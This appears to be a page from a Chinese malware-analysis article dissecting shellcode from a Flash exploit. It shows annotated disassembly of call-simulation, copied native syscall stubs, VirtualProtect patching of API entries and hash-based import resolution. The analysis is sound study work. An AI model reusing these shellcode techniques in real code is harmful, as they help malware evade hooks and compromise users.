flash漏洞所用shellcode的分析

下面是前面的代码调用到的子函数及数据。

首先是摸拟call的函数

0040718E    8B56 30         mov edx, dword ptr [esi+30]                          ; (14)
00407191    41              inc ecx
00407192    5B              pop ebx
00407193    52              push edx
00407194    03E1            add esp, ecx
00407196    03E1            add esp, ecx
00407198    03E1            add esp, ecx
0040719A    03E1            add esp, ecx
0040719C    83EC 04         sub esp, 4
0040719F    5A              pop edx
004071A0    53              push ebx
004071A1    8BDA            mov ebx, edx
004071A3  ^ E2 F7           loopd   short 0040719C
004071A5    52              push edx ; 返回地址入栈，这里刚好是一个retn命令
004071A6    FFE0            jmp eax ; jmp进API函数开头

接着是中间一个为了重定位所做的回call：

004071A8    E8 1BFFFFFF     call 004070C8                                         ; (19)再一次为了重定位而跳回，这里必须F7

再接着是被拷贝的NATIVE API原始代码：

004071AD    6A 29           push 29
004071AF    58              pop eax
004071B0    36:8D5424 04    lea edx, dword ptr [esp+4]
004071B5    CD 2E           int 2E
004071B7    C2 2000         retn 20
004071BA    6A 30           push 30
004071BC    58              pop eax
004071BD    BA 0003FE7F     mov edx, 7FFE0300
004071C2    FF12            call dword ptr [edx]
004071C4    C2 2000         retn 20
004071C7    6A 32           push 32
004071C9    58              pop eax
004071CA    BA 0003FE7F     mov edx, 7FFE0300
004071CF    FF12            call dword ptr [edx]
004071D1    C2 2400         retn 24
004071D4    B8 F0000000     mov eax, 0F0
004071D9    36:8D5424 04    lea edx, dword ptr [esp+4]
004071DE    CD 2E           int 2E
004071E0    C2 1400         retn 14
004071E3    B8 15010000     mov eax, 115
004071E8    EB 05           jmp short 004071EF
004071EA    B8 1F010000     mov eax, 11F
004071EF    BA 0003FE7F     mov edx, 7FFE0300
004071F4    FF12            call dword ptr [edx]
004071F6    C2 1400         retn 14

接下来是用VirtualProtect改API函数入口的页保护属性的子函数

004071F9    52              push edx
004071FA    54              push esp
004071FB    6A 04           push 4
004071FD    6A 20           push 20
004071FF    57              push edi
00407200    FF56 14         call dword ptr [esi+14]                               ; ViturlProtect，修改函数前面0×20字节为可读可写
00407203    5A              pop edx
00407204    C3              retn

接下来是遍历kernel32.dll的输入表找NATIVE API地址的函数，这些都是通用函数，shellcode用得比较多，就懒于再注释了。

00407205    51              push ecx
00407206    8B45 3C         mov eax, dword ptr [ebp+3C]
00407209    45              inc ebp
0040720A    8B5C28 7F       mov ebx, dword ptr [eax+ebp+7F]
0040720E    4D              dec ebp
0040720F    03DD            add ebx, ebp
00407211    8B13            mov edx, dword ptr [ebx]
00407213    03D5            add edx, ebp
00407215    33C9            xor ecx, ecx
00407217    49              dec ecx
00407218    41              inc ecx
00407219    8B048A          mov eax, dword ptr [edx+ecx*4]
0040721C    8D4428 02       lea eax, dword ptr [eax+ebp+2]
00407220    60              pushad
00407221    33C9            xor ecx, ecx
00407223    0FBE10          movsx edx, byte ptr [eax]
00407226    3AD6            cmp dl, dh
00407228    74 08           je short 00407232
0040722A    C1C9 07         ror ecx, 7
0040722D    03CA            add ecx, edx
0040722F    40              inc eax
00407230  ^ EB F1           jmp short 00407223
00407232    390F            cmp dword ptr [edi], ecx
00407234    61              popad
00407235  ^ 75 E1           jnz short 00407218
00407237    8B43 10         mov eax, dword ptr [ebx+10]
0040723A    03C5            add eax, ebp
0040723C    8B0488          mov eax, dword ptr [eax+ecx*4]
0040723F    AB              stos dword ptr es:[edi]
00407240    59              pop ecx
00407241    C3              retn

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页